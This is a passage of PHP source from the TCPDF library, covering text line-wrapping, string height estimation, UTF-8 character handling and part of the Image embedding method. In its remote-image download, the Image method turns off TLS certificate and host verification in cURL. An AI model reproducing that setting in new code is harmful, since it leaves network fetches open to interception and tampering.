(strpos($border, 'B') !== false) { // remove bottom line $newkey = str_replace('B', '', $border); if (strlen($newkey) > 0) { $brd[$newkey] = $style; } unset($brd[$border]); $border = $newkey; } if (strpos($border, 'T') !== false) { // remove bottom line $newkey = str_replace('T', '', $border); if (strlen($newkey) > 0) { $brd[$newkey] = $style; } unset($brd[$border]); } break; } case 'end': { if (strpos($border, 'T') !== false) { // remove bottom line $newkey = str_replace('T', '', $border); if (strlen($newkey) > 0) { $brd[$newkey] = $style; } unset($brd[$border]); } break; } } } return $brd; } /** * This method return the estimated number of lines for print a simple text string using Multicell() method. * @param $txt (string) String for calculating his height * @param $w (float) Width of cells. If 0, they extend up to the right margin of the page. * @param $reseth (boolean) if true reset the last cell height (default false). * @param $autopadding (boolean) if true, uses internal padding and automatically adjust it to account for line width (default true). * @param $cellpadding (float) Internal cell padding, if empty uses default cell padding. * @param $border (mixed) Indicates if borders must be drawn around the cell. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul> or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group - for example: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @return float Return the minimal height needed for multicell method for printing the $txt param. * @author Alexander Escalona Fern�ndez, Nicola Asuni * @public * @since 4.5.011 */ public function getNumLines($txt, $w=0, $reseth=false, $autopadding=true, $cellpadding='', $border=0) { if ($txt === '') { // empty string return 1; } // adjust internal padding $prev_cell_padding = $this->cell_padding; $prev_lasth = $this->lasth; if (is_array($cellpadding)) { $this->cell_padding = $cellpadding; } $this->adjustCellPadding($border); if ($this->empty_string($w) OR ($w <= 0)) { if ($this->rtl) { $w = $this->x - $this->lMargin; } else { $w = $this->w - $this->rMargin - $this->x; } } $wmax = $w - $this->cell_padding['L'] - $this->cell_padding['R']; if ($reseth) { // reset row height $this->resetLastH(); } $lines = 1; $sum = 0; $chars = $this->utf8Bidi($this->UTF8StringToArray($txt), $txt, $this->tmprtl); $charsWidth = $this->GetArrStringWidth($chars, '', '', 0, true); $length = count($chars); $lastSeparator = -1; for ($i = 0; $i < $length; ++$i) { $charWidth = $charsWidth[$i]; if (preg_match($this->re_spaces, $this->unichr($chars[$i]))) { $lastSeparator = $i; } if ((($sum + $charWidth) > $wmax) OR ($chars[$i] == 10)) { ++$lines; if ($chars[$i] == 10) { $lastSeparator = -1; $sum = 0; } elseif ($lastSeparator != -1) { $i = $lastSeparator; $lastSeparator = -1; $sum = 0; } else { $sum = $charWidth; } } else { $sum += $charWidth; } } if ($chars[($length - 1)] == 10) { --$lines; } $this->cell_padding = $prev_cell_padding; $this->lasth = $prev_lasth; return $lines; } /** * This method return the estimated height needed for printing a simple text string using the Multicell() method. * Generally, if you want to know the exact height for a block of content you can use the following alternative technique: * @pre * // store current object * $pdf->startTransaction(); * // store starting values * $start_y = $pdf->GetY(); * $start_page = $pdf->getPage(); * // call your printing functions with your parameters * // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * $pdf->MultiCell($w=0, $h=0, $txt, $border=1, $align='L', $fill=false, $ln=1, $x='', $y='', $reseth=true, $stretch=0, $ishtml=false, $autopadding=true, $maxh=0); * // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * // get the new Y * $end_y = $pdf->GetY(); * $end_page = $pdf->getPage(); * // calculate height * $height = 0; * if ($end_page == $start_page) { * $height = $end_y - $start_y; * } else { * for ($page=$start_page; $page <= $end_page; ++$page) { * $this->setPage($page); * if ($page == $start_page) { * // first page * $height = $this->h - $start_y - $this->bMargin; * } elseif ($page == $end_page) { * // last page * $height = $end_y - $this->tMargin; * } else { * $height = $this->h - $this->tMargin - $this->bMargin; * } * } * } * // restore previous object * $pdf = $pdf->rollbackTransaction(); * * @param $w (float) Width of cells. If 0, they extend up to the right margin of the page. * @param $txt (string) String for calculating his height * @param $reseth (boolean) if true reset the last cell height (default false). * @param $autopadding (boolean) if true, uses internal padding and automatically adjust it to account for line width (default true). * @param $cellpadding (float) Internal cell padding, if empty uses default cell padding. * @param $border (mixed) Indicates if borders must be drawn around the cell. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul> or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group - for example: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @return float Return the minimal height needed for multicell method for printing the $txt param. * @author Nicola Asuni, Alexander Escalona Fern�ndez * @public */ public function getStringHeight($w, $txt, $reseth=false, $autopadding=true, $cellpadding='', $border=0) { // adjust internal padding $prev_cell_padding = $this->cell_padding; $prev_lasth = $this->lasth; if (is_array($cellpadding)) { $this->cell_padding = $cellpadding; } $this->adjustCellPadding($border); $lines = $this->getNumLines($txt, $w, $reseth, $autopadding, $cellpadding, $border); $height = $lines * ($this->FontSize * $this->cell_height_ratio); if ($autopadding) { // add top and bottom padding $height += ($this->cell_padding['T'] + $this->cell_padding['B']); } $this->cell_padding = $prev_cell_padding; $this->lasth = $prev_lasth; return $height; } /** * This method prints text from the current position.<br /> * @param $h (float) Line height * @param $txt (string) String to print * @param $link (mixed) URL or identifier returned by AddLink() * @param $fill (boolean) Indicates if the cell background must be painted (true) or transparent (false). * @param $align (string) Allows to center or align the text. Possible values are:<ul><li>L or empty string: left align (default value)</li><li>C: center</li><li>R: right align</li><li>J: justify</li></ul> * @param $ln (boolean) if true set cursor at the bottom of the line, otherwise set cursor at the top of the line. * @param $stretch (int) font stretch mode: <ul><li>0 = disabled</li><li>1 = horizontal scaling only if text is larger than cell width</li><li>2 = forced horizontal scaling to fit cell width</li><li>3 = character spacing only if text is larger than cell width</li><li>4 = forced character spacing to fit cell width</li></ul> General font stretching and scaling values will be preserved when possible. * @param $firstline (boolean) if true prints only the first line and return the remaining string. * @param $firstblock (boolean) if true the string is the starting of a line. * @param $maxh (float) maximum height. The remaining unprinted text will be returned. It should be >= $h and less then remaining space to the bottom of the page, or 0 for disable this feature. * @param $wadj (float) first line width will be reduced by this amount (used in HTML mode). * @param $margin (array) margin array of the parent container * @return mixed Return the number of cells or the remaining string if $firstline = true. * @public * @since 1.5 */ public function Write($h, $txt, $link='', $fill=false, $align='', $ln=false, $stretch=0, $firstline=false, $firstblock=false, $maxh=0, $wadj=0, $margin='') { // check page for no-write regions and adapt page margins if necessary list($this->x, $this->y) = $this->checkPageRegions($h, $this->x, $this->y); if (strlen($txt) == 0) { // fix empty text $txt = ' '; } if ($margin === '') { // set default margins $margin = $this->cell_margin; } // remove carriage returns $s = str_replace("\r", '', $txt); // check if string contains arabic text if (preg_match($this->unicode->uni_RE_PATTERN_ARABIC, $s)) { $arabic = true; } else { $arabic = false; } // check if string contains RTL text if ($arabic OR ($this->tmprtl == 'R') OR preg_match($this->unicode->uni_RE_PATTERN_RTL, $s)) { $rtlmode = true; } else { $rtlmode = false; } // get a char width $chrwidth = $this->GetCharWidth(46); // dot character // get array of unicode values $chars = $this->UTF8StringToArray($s); // calculate maximum width for a single character on string $chrw = $this->GetArrStringWidth($chars, '', '', 0, true); array_walk($chrw, array($this, 'getRawCharWidth')); $maxchwidth = max($chrw); // get array of chars $uchars = $this->UTF8ArrayToUniArray($chars); // get the number of characters $nb = count($chars); // replacement for SHY character (minus symbol) $shy_replacement = 45; $shy_replacement_char = $this->unichr($shy_replacement); // widht for SHY replacement $shy_replacement_width = $this->GetCharWidth($shy_replacement); // max Y $maxy = $this->y + $maxh - $h - $this->cell_padding['T'] - $this->cell_padding['B']; // page width $pw = $w = $this->w - $this->lMargin - $this->rMargin; // calculate remaining line width ($w) if ($this->rtl) { $w = $this->x - $this->lMargin; } else { $w = $this->w - $this->rMargin - $this->x; } // max column width $wmax = ($w - $wadj); if (!$firstline) { $wmax -= ($this->cell_padding['L'] + $this->cell_padding['R']); } if ((!$firstline) AND (($chrwidth > $wmax) OR ($maxchwidth > $wmax))) { // the maximum width character do not fit on column return ''; } // minimum row height $row_height = max($h, $this->FontSize * $this->cell_height_ratio); $start_page = $this->page; $i = 0; // character position $j = 0; // current starting position $sep = -1; // position of the last blank space $shy = false; // true if the last blank is a soft hypen (SHY) $l = 0; // current string length $nl = 0; //number of lines $linebreak = false; $pc = 0; // previous character // for each character while ($i < $nb) { if (($maxh > 0) AND ($this->y >= $maxy) ) { break; } //Get the current character $c = $chars[$i]; if ($c == 10) { // 10 = "\n" = new line //Explicit line break if ($align == 'J') { if ($this->rtl) { $talign = 'R'; } else { $talign = 'L'; } } else { $talign = $align; } $tmpstr = $this->UniArrSubString($uchars, $j, $i); if ($firstline) { $startx = $this->x; $tmparr = array_slice($chars, $j, ($i - $j)); if ($rtlmode) { $tmparr = $this->utf8Bidi($tmparr, $tmpstr, $this->tmprtl); } $linew = $this->GetArrStringWidth($tmparr); unset($tmparr); if ($this->rtl) { $this->endlinex = $startx - $linew; } else { $this->endlinex = $startx + $linew; } $w = $linew; $tmpcellpadding = $this->cell_padding; if ($maxh == 0) { $this->SetCellPadding(0); } } if ($firstblock AND $this->isRTLTextDir()) { $tmpstr = $this->stringRightTrim($tmpstr); } // Skip newlines at the begining of a page or column if (!empty($tmpstr) OR ($this->y < ($this->PageBreakTrigger - $row_height))) { $this->Cell($w, $h, $tmpstr, 0, 1, $talign, $fill, $link, $stretch); } unset($tmpstr); if ($firstline) { $this->cell_padding = $tmpcellpadding; return ($this->UniArrSubString($uchars, $i)); } ++$nl; $j = $i + 1; $l = 0; $sep = -1; $shy = false; // account for margin changes if ((($this->y + $this->lasth) > $this->PageBreakTrigger) AND ($this->inPageBody())) { $this->AcceptPageBreak(); if ($this->rtl) { $this->x -= $margin['R']; } else { $this->x += $margin['L']; } $this->lMargin += $margin['L']; $this->rMargin += $margin['R']; } $w = $this->getRemainingWidth(); $wmax = ($w - $this->cell_padding['L'] - $this->cell_padding['R']); } else { // 160 is the non-breaking space. // 173 is SHY (Soft Hypen). // \p{Z} or \p{Separator}: any kind of Unicode whitespace or invisible separator. // \p{Lo} or \p{Other_Letter}: a Unicode letter or ideograph that does not have lowercase and uppercase variants. // \p{Lo} is needed because Chinese characters are packed next to each other without spaces in between. if (($c != 160) AND (($c == 173) OR preg_match($this->re_spaces, $this->unichr($c)) OR (($c == 45) AND ($i < ($nb - 1)) AND @preg_match('/[\p{L}]/'.$this->re_space['m'], $this->unichr($pc)) AND @preg_match('/[\p{L}]/'.$this->re_space['m'], $this->unichr($chars[($i + 1)])) ) ) ) { // update last blank space position $sep = $i; // check if is a SHY if (($c == 173) OR ($c == 45)) { $shy = true; if ($pc == 45) { $tmp_shy_replacement_width = 0; $tmp_shy_replacement_char = ''; } else { $tmp_shy_replacement_width = $shy_replacement_width; $tmp_shy_replacement_char = $shy_replacement_char; } } else { $shy = false; } } // update string length if ($this->isUnicodeFont() AND ($arabic)) { // with bidirectional algorithm some chars may be changed affecting the line length // *** very slow *** $l = $this->GetArrStringWidth($this->utf8Bidi(array_slice($chars, $j, ($i - $j)), '', $this->tmprtl)); } else { $l += $this->GetCharWidth($c); } if (($l > $wmax) OR (($c == 173) AND (($l + $tmp_shy_replacement_width) > $wmax)) ) { // we have reached the end of column if ($sep == -1) { // check if the line was already started if (($this->rtl AND ($this->x <= ($this->w - $this->rMargin - $this->cell_padding['R'] - $margin['R'] - $chrwidth))) OR ((!$this->rtl) AND ($this->x >= ($this->lMargin + $this->cell_padding['L'] + $margin['L'] + $chrwidth)))) { // print a void cell and go to next line $this->Cell($w, $h, '', 0, 1); $linebreak = true; if ($firstline) { return ($this->UniArrSubString($uchars, $j)); } } else { // truncate the word because do not fit on column $tmpstr = $this->UniArrSubString($uchars, $j, $i); if ($firstline) { $startx = $this->x; $tmparr = array_slice($chars, $j, ($i - $j)); if ($rtlmode) { $tmparr = $this->utf8Bidi($tmparr, $tmpstr, $this->tmprtl); } $linew = $this->GetArrStringWidth($tmparr); unset($tmparr); if ($this->rtl) { $this->endlinex = $startx - $linew; } else { $this->endlinex = $startx + $linew; } $w = $linew; $tmpcellpadding = $this->cell_padding; if ($maxh == 0) { $this->SetCellPadding(0); } } if ($firstblock AND $this->isRTLTextDir()) { $tmpstr = $this->stringRightTrim($tmpstr); } $this->Cell($w, $h, $tmpstr, 0, 1, $align, $fill, $link, $stretch); unset($tmpstr); if ($firstline) { $this->cell_padding = $tmpcellpadding; return ($this->UniArrSubString($uchars, $i)); } $j = $i; --$i; } } else { // word wrapping if ($this->rtl AND (!$firstblock) AND ($sep < $i)) { $endspace = 1; } else { $endspace = 0; } // check the length of the next string $strrest = $this->UniArrSubString($uchars, ($sep + $endspace)); $nextstr = preg_split('/'.$this->re_space['p'].'/'.$this->re_space['m'], $this->stringTrim($strrest)); if (isset($nextstr[0]) AND ($this->GetStringWidth($nextstr[0]) > $pw)) { // truncate the word because do not fit on a full page width $tmpstr = $this->UniArrSubString($uchars, $j, $i); if ($firstline) { $startx = $this->x; $tmparr = array_slice($chars, $j, ($i - $j)); if ($rtlmode) { $tmparr = $this->utf8Bidi($tmparr, $tmpstr, $this->tmprtl); } $linew = $this->GetArrStringWidth($tmparr); unset($tmparr); if ($this->rtl) { $this->endlinex = ($startx - $linew); } else { $this->endlinex = ($startx + $linew); } $w = $linew; $tmpcellpadding = $this->cell_padding; if ($maxh == 0) { $this->SetCellPadding(0); } } if ($firstblock AND $this->isRTLTextDir()) { $tmpstr = $this->stringRightTrim($tmpstr); } $this->Cell($w, $h, $tmpstr, 0, 1, $align, $fill, $link, $stretch); unset($tmpstr); if ($firstline) { $this->cell_padding = $tmpcellpadding; return ($this->UniArrSubString($uchars, $i)); } $j = $i; --$i; } else { // word wrapping if ($shy) { // add hypen (minus symbol) at the end of the line $shy_width = $tmp_shy_replacement_width; if ($this->rtl) { $shy_char_left = $tmp_shy_replacement_char; $shy_char_right = ''; } else { $shy_char_left = ''; $shy_char_right = $tmp_shy_replacement_char; } } else { $shy_width = 0; $shy_char_left = ''; $shy_char_right = ''; } $tmpstr = $this->UniArrSubString($uchars, $j, ($sep + $endspace)); if ($firstline) { $startx = $this->x; $tmparr = array_slice($chars, $j, (($sep + $endspace) - $j)); if ($rtlmode) { $tmparr = $this->utf8Bidi($tmparr, $tmpstr, $this->tmprtl); } $linew = $this->GetArrStringWidth($tmparr); unset($tmparr); if ($this->rtl) { $this->endlinex = $startx - $linew - $shy_width; } else { $this->endlinex = $startx + $linew + $shy_width; } $w = $linew; $tmpcellpadding = $this->cell_padding; if ($maxh == 0) { $this->SetCellPadding(0); } } // print the line if ($firstblock AND $this->isRTLTextDir()) { $tmpstr = $this->stringRightTrim($tmpstr); } $this->Cell($w, $h, $shy_char_left.$tmpstr.$shy_char_right, 0, 1, $align, $fill, $link, $stretch); unset($tmpstr); if ($firstline) { if ($chars[$sep] == 45) { $endspace += 1; } // return the remaining text $this->cell_padding = $tmpcellpadding; return ($this->UniArrSubString($uchars, ($sep + $endspace))); } $i = $sep; $sep = -1; $shy = false; $j = ($i + 1); } } // account for margin changes if ((($this->y + $this->lasth) > $this->PageBreakTrigger) AND ($this->inPageBody())) { $this->AcceptPageBreak(); if ($this->rtl) { $this->x -= $margin['R']; } else { $this->x += $margin['L']; } $this->lMargin += $margin['L']; $this->rMargin += $margin['R']; } $w = $this->getRemainingWidth(); $wmax = $w - $this->cell_padding['L'] - $this->cell_padding['R']; if ($linebreak) { $linebreak = false; } else { ++$nl; $l = 0; } } } // save last character $pc = $c; ++$i; } // end while i < nb // print last substring (if any) if ($l > 0) { switch ($align) { case 'J': case 'C': { $w = $w; break; } case 'L': { if ($this->rtl) { $w = $w; } else { $w = $l; } break; } case 'R': { if ($this->rtl) { $w = $l; } else { $w = $w; } break; } default: { $w = $l; break; } } $tmpstr = $this->UniArrSubString($uchars, $j, $nb); if ($firstline) { $startx = $this->x; $tmparr = array_slice($chars, $j, ($nb - $j)); if ($rtlmode) { $tmparr = $this->utf8Bidi($tmparr, $tmpstr, $this->tmprtl); } $linew = $this->GetArrStringWidth($tmparr); unset($tmparr); if ($this->rtl) { $this->endlinex = $startx - $linew; } else { $this->endlinex = $startx + $linew; } $w = $linew; $tmpcellpadding = $this->cell_padding; if ($maxh == 0) { $this->SetCellPadding(0); } } if ($firstblock AND $this->isRTLTextDir()) { $tmpstr = $this->stringRightTrim($tmpstr); } $this->Cell($w, $h, $tmpstr, 0, $ln, $align, $fill, $link, $stretch); unset($tmpstr); if ($firstline) { $this->cell_padding = $tmpcellpadding; return ($this->UniArrSubString($uchars, $nb)); } ++$nl; } if ($firstline) { return ''; } return $nl; } /** * Returns the remaining width between the current position and margins. * @return int Return the remaining width * @protected */ protected function getRemainingWidth() { list($this->x, $this->y) = $this->checkPageRegions(0, $this->x, $this->y); if ($this->rtl) { return ($this->x - $this->lMargin); } else { return ($this->w - $this->rMargin - $this->x); } } /** * Extract a slice of the $strarr array and return it as string. * @param $strarr (string) The input array of characters. * @param $start (int) the starting element of $strarr. * @param $end (int) first element that will not be returned. * @return Return part of a string * @public */ public function UTF8ArrSubString($strarr, $start='', $end='') { if (strlen($start) == 0) { $start = 0; } if (strlen($end) == 0) { $end = count($strarr); } $string = ''; for ($i=$start; $i < $end; ++$i) { $string .= $this->unichr($strarr[$i]); } return $string; } /** * Extract a slice of the $uniarr array and return it as string. * @param $uniarr (string) The input array of characters. * @param $start (int) the starting element of $strarr. * @param $end (int) first element that will not be returned. * @return Return part of a string * @public * @since 4.5.037 (2009-04-07) */ public function UniArrSubString($uniarr, $start='', $end='') { if (strlen($start) == 0) { $start = 0; } if (strlen($end) == 0) { $end = count($uniarr); } $string = ''; for ($i=$start; $i < $end; ++$i) { $string .= $uniarr[$i]; } return $string; } /** * Convert an array of UTF8 values to array of unicode characters * @param $ta (string) The input array of UTF8 values. * @return Return array of unicode characters * @public * @since 4.5.037 (2009-04-07) */ public function UTF8ArrayToUniArray($ta) { return array_map(array($this, 'unichr'), $ta); } /** * Returns the unicode caracter specified by UTF-8 value * @param $c (int) UTF-8 value * @return Returns the specified character. * @author Miguel Perez, Nicola Asuni * @public * @since 2.3.000 (2008-03-05) */ public function unichr($c) { if (!$this->isunicode) { return chr($c); } elseif ($c <= 0x7F) { // one byte return chr($c); } elseif ($c <= 0x7FF) { // two bytes return chr(0xC0 | $c >> 6).chr(0x80 | $c & 0x3F); } elseif ($c <= 0xFFFF) { // three bytes return chr(0xE0 | $c >> 12).chr(0x80 | $c >> 6 & 0x3F).chr(0x80 | $c & 0x3F); } elseif ($c <= 0x10FFFF) { // four bytes return chr(0xF0 | $c >> 18).chr(0x80 | $c >> 12 & 0x3F).chr(0x80 | $c >> 6 & 0x3F).chr(0x80 | $c & 0x3F); } else { return ''; } } /** * Return the image type given the file name or array returned by getimagesize() function. * @param $imgfile (string) image file name * @param $iminfo (array) array of image information returned by getimagesize() function. * @return string image type * @since 4.8.017 (2009-11-27) */ public function getImageFileType($imgfile, $iminfo=array()) { $type = ''; if (isset($iminfo['mime']) AND !empty($iminfo['mime'])) { $mime = explode('/', $iminfo['mime']); if ((count($mime) > 1) AND ($mime[0] == 'image') AND (!empty($mime[1]))) { $type = strtolower(trim($mime[1])); } } if (empty($type)) { $fileinfo = pathinfo($imgfile); if (isset($fileinfo['extension']) AND (!$this->empty_string($fileinfo['extension']))) { $type = strtolower(trim($fileinfo['extension'])); } } if ($type == 'jpg') { $type = 'jpeg'; } return $type; } /** * Set the block dimensions accounting for page breaks and page/column fitting * @param $w (float) width * @param $h (float) height * @param $x (float) X coordinate * @param $y (float) Y coodiante * @param $fitonpage (boolean) if true the block is resized to not exceed page dimensions. * @return array($w, $h, $x, $y) * @protected * @since 5.5.009 (2010-07-05) */ protected function fitBlock($w, $h, $x, $y, $fitonpage=false) { if ($w <= 0) { // set maximum width $w = ($this->w - $this->lMargin - $this->rMargin); } if ($h <= 0) { // set maximum height $h = ($this->PageBreakTrigger - $this->tMargin); } // resize the block to be vertically contained on a single page or single column if ($fitonpage OR $this->AutoPageBreak) { $ratio_wh = ($w / $h); if ($h > ($this->PageBreakTrigger - $this->tMargin)) { $h = $this->PageBreakTrigger - $this->tMargin; $w = ($h * $ratio_wh); } // resize the block to be horizontally contained on a single page or single column if ($fitonpage) { $maxw = ($this->w - $this->lMargin - $this->rMargin); if ($w > $maxw) { $w = $maxw; $h = ($w / $ratio_wh); } } } // Check whether we need a new page or new column first as this does not fit $prev_x = $this->x; $prev_y = $this->y; if ($this->checkPageBreak($h, $y) OR ($this->y < $prev_y)) { $y = $this->y; if ($this->rtl) { $x += ($prev_x - $this->x); } else { $x += ($this->x - $prev_x); } $this->newline = true; } // resize the block to be contained on the remaining available page or column space if ($fitonpage) { $ratio_wh = ($w / $h); if (($y + $h) > $this->PageBreakTrigger) { $h = $this->PageBreakTrigger - $y; $w = ($h * $ratio_wh); } if ((!$this->rtl) AND (($x + $w) > ($this->w - $this->rMargin))) { $w = $this->w - $this->rMargin - $x; $h = ($w / $ratio_wh); } elseif (($this->rtl) AND (($x - $w) < ($this->lMargin))) { $w = $x - $this->lMargin; $h = ($w / $ratio_wh); } } return array($w, $h, $x, $y); } /** * Puts an image in the page. * The upper-left corner must be given. * The dimensions can be specified in different ways:<ul> * <li>explicit width and height (expressed in user unit)</li> * <li>one explicit dimension, the other being calculated automatically in order to keep the original proportions</li> * <li>no explicit dimension, in which case the image is put at 72 dpi</li></ul> * Supported formats are JPEG and PNG images whitout GD library and all images supported by GD: GD, GD2, GD2PART, GIF, JPEG, PNG, BMP, XBM, XPM; * The format can be specified explicitly or inferred from the file extension.<br /> * It is possible to put a link on the image.<br /> * Remark: if an image is used several times, only one copy will be embedded in the file.<br /> * @param $file (string) Name of the file containing the image or a '@' character followed by the image data string. To link an image without embedding it on the document, set an asterisk character before the URL (i.e.: '*http://www.example.com/image.jpg'). * @param $x (float) Abscissa of the upper-left corner (LTR) or upper-right corner (RTL). * @param $y (float) Ordinate of the upper-left corner (LTR) or upper-right corner (RTL). * @param $w (float) Width of the image in the page. If not specified or equal to zero, it is automatically calculated. * @param $h (float) Height of the image in the page. If not specified or equal to zero, it is automatically calculated. * @param $type (string) Image format. Possible values are (case insensitive): JPEG and PNG (whitout GD library) and all images supported by GD: GD, GD2, GD2PART, GIF, JPEG, PNG, BMP, XBM, XPM;. If not specified, the type is inferred from the file extension. * @param $link (mixed) URL or identifier returned by AddLink(). * @param $align (string) Indicates the alignment of the pointer next to image insertion relative to image height. The value can be:<ul><li>T: top-right for LTR or top-left for RTL</li><li>M: middle-right for LTR or middle-left for RTL</li><li>B: bottom-right for LTR or bottom-left for RTL</li><li>N: next line</li></ul> * @param $resize (mixed) If true resize (reduce) the image to fit $w and $h (requires GD or ImageMagick library); if false do not resize; if 2 force resize in all cases (upscaling and downscaling). * @param $dpi (int) dot-per-inch resolution used on resize * @param $palign (string) Allows to center or align the image on the current line. Possible values are:<ul><li>L : left align</li><li>C : center</li><li>R : right align</li><li>'' : empty string : left for LTR or right for RTL</li></ul> * @param $ismask (boolean) true if this image is a mask, false otherwise * @param $imgmask (mixed) image object returned by this function or false * @param $border (mixed) Indicates if borders must be drawn around the cell. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul> or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group - for example: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @param $fitbox (mixed) If not false scale image dimensions proportionally to fit within the ($w, $h) box. $fitbox can be true or a 2 characters string indicating the image alignment inside the box. The first character indicate the horizontal alignment (L = left, C = center, R = right) the second character indicate the vertical algnment (T = top, M = middle, B = bottom). * @param $hidden (boolean) If true do not display the image. * @param $fitonpage (boolean) If true the image is resized to not exceed page dimensions. * @param $alt (boolean) If true the image will be added as alternative and not directly printed (the ID of the image will be returned). * @param $altimgs (array) Array of alternate images IDs. Each alternative image must be an array with two values: an integer representing the image ID (the value returned by the Image method) and a boolean value to indicate if the image is the default for printing. * @return image information * @public * @since 1.1 */ public function Image($file, $x='', $y='', $w=0, $h=0, $type='', $link='', $align='', $resize=false, $dpi=300, $palign='', $ismask=false, $imgmask=false, $border=0, $fitbox=false, $hidden=false, $fitonpage=false, $alt=false, $altimgs=array()) { if ($this->state != 2) { return; } if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($h, $x, $y); $exurl = ''; // external streams // check if we are passing an image as file or string if ($file[0] === '@') { // image from string $imgdata = substr($file, 1); $file = $this->getObjFilename('img'); $fp = fopen($file, 'w'); fwrite($fp, $imgdata); fclose($fp); unset($imgdata); $imsize = @getimagesize($file); if ($imsize === FALSE) { unlink($file); } else { $this->cached_files[] = $file; } } else { // image file if ($file{0} === '*') { // image as external stream $file = substr($file, 1); $exurl = $file; } // check if is local file if (!@file_exists($file)) { // encode spaces on filename (file is probably an URL) $file = str_replace(' ', '%20', $file); } if (@file_exists($file)) { // get image dimensions $imsize = @getimagesize($file); } else { $imsize = false; } if ($imsize === FALSE) { if (function_exists('curl_init')) { // try to get remote file data using cURL $cs = curl_init(); // curl session curl_setopt($cs, CURLOPT_URL, $file); curl_setopt($cs, CURLOPT_BINARYTRANSFER, true); curl_setopt($cs, CURLOPT_FAILONERROR, true); curl_setopt($cs, CURLOPT_RETURNTRANSFER, true); if ((ini_get('open_basedir') == '') AND (!ini_get('safe_mode'))) { curl_setopt($cs, CURLOPT_FOLLOWLOCATION, true); } curl_setopt($cs, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($cs, CURLOPT_TIMEOUT, 30); curl_setopt($cs, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($cs, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($cs, CURLOPT_USERAGENT, 'TCPDF'); $imgdata = curl_exec($cs); curl_close($cs); if ($imgdata !== FALSE) { // copy image to cache $file = $this->getObjFilename('img'); $fp = fopen($file, 'w'); fwrite($fp, $imgdata); fclose($fp); unset($imgdata); $imsize = @getimagesize($file); if ($imsize === FALSE) { unlink($file); } else { $this->cached_files[] = $file; } } } elseif (($w > 0) AND ($h > 0)) { // get measures from specified data $pw = $this->getHTMLUnitToUnits($w, 0, $this->pdfunit, true) * $this->imgscale * $this->k; $ph = $this->getHTMLUnitToUnits($h, 0, $this->pdfunit, true) * $this->imgscale * $this->k; $imsize = array($pw, $ph); } } } if ($imsize === FALSE) { if (substr($file, 0, -34) == K_PATH_CACHE.'msk') { // mask file // get measures from specified data $pw = $this->getHTMLUnitToUnits($w, 0, $this->pdfunit, true) * $this->imgscale * $this->k; $ph = $this->getHTMLUnitToUnits($h, 0, $this->pdfunit, true) * $this->imgscale * $this->k; $imsize = array($pw, $ph); } else { $this->Error('[Image] Unable to get image: '.$file); } } // file hash $filehash = md5($this->file_id.$file); // get original image width and height in pixels list($pixw, $pixh) = $imsize; // calculate image width and height on document if (($w <= 0) AND ($h <= 0)) { // convert image size to document unit $w = $this->pixelsToUnits($pixw); $h = $this->pixelsToUnits($pixh); } elseif ($w <= 0) { $w = $h * $pixw / $pixh; } elseif ($h <= 0) { $h = $w * $pixh / $pixw; } elseif (($fitbox !== false) AND ($w > 0) AND ($h > 0)) { if (strlen($fitbox) !== 2) { // set default alignment $fitbox = '--'; } // scale image dimensions proportionally to fit within the ($w, $h) box if ((($w * $pixh) / ($h * $pixw)) < 1) { // store current height $oldh = $h; // calculate new height $h = $w * $pixh / $pixw; // height difference $hdiff = ($oldh - $h); // vertical alignment switch (strtoupper($fitbox{1})) { case 'T': { break; } case 'M': { $y += ($hdiff / 2); break; } case 'B': { $y += $hdiff; break; } } } else { // store current width $oldw = $w; // calculate new width $w = $h * $pixw / $pixh; // width difference $wdiff = ($oldw - $w); // horizontal alignment switch (strtoupper($fitbox{0})) { case 'L': { if ($this->rtl) { $x -= $wdiff; } break; } case 'C': { if ($this->rtl) { $x -= ($wdiff / 2); } else { $x += ($wdiff / 2); } break; } case 'R': { if (!$this->rtl) { $x += $wdiff; } break; } } } } // fit the image on available space list($w, $h, $x, $y) = $this->fitBlock($w, $h, $x, $y, $fitonpage); // calculate new minimum dimensions in pixels $neww = round($w * $this->k * $dpi / $this->dpi); $newh = round($h * $this->k * $dpi / $this->dpi); // check if resize is necessary (resize is used only to reduce the image) $newsize = ($neww * $newh); $pixsize = ($pixw * $pixh); if (intval($resize) == 2) { $resize = true; } elseif ($newsize >= $pixsize) { $resize = false; } // check if image has been already added on document $newimage = true; if (in_array($file, $this->imagekeys)) { $newimage = false; // get existing image data $info = $this->getImageBuffer($file); if (substr($file, 0, -34) != K_PATH_CACHE.'msk') { // check if the newer image is larger $oldsize = ($info['w'] * $info['h']); if ((($oldsize < $newsize) AND ($resize)) OR (($oldsize < $pixsize) AND (!$resize))) { $newimage = true; } } } elseif (substr($file, 0, -34) != K_PATH_CACHE.'msk') { // check for cached images with alpha channel $tempfile_plain = K_PATH_CACHE.'mskp_'.$filehash; $tempfile_alpha = K_PATH_CACHE.'mska_'.$filehash; if (in_array($tempfile_plain, $this->imagekeys)) { // get existing image data $info = $this->getImageBuffer($tempfile_plain); // check if the newer image is larger $oldsize = ($info['w'] * $info['h']); if ((($oldsize < $newsize) AND ($resize)) OR (($oldsize < $pixsize) AND (!$resize))) { $newimage = true; } else { $newimage = false; // embed mask image $imgmask = $this->Image($tempfile_alpha, $x, $y, $w, $h, 'PNG', '', '', $resize, $dpi, '', true, false); // embed image, masked with previously embedded mask return $this->Image($tempfile_plain, $x, $y, $w, $h, $type, $link, $align, $resize, 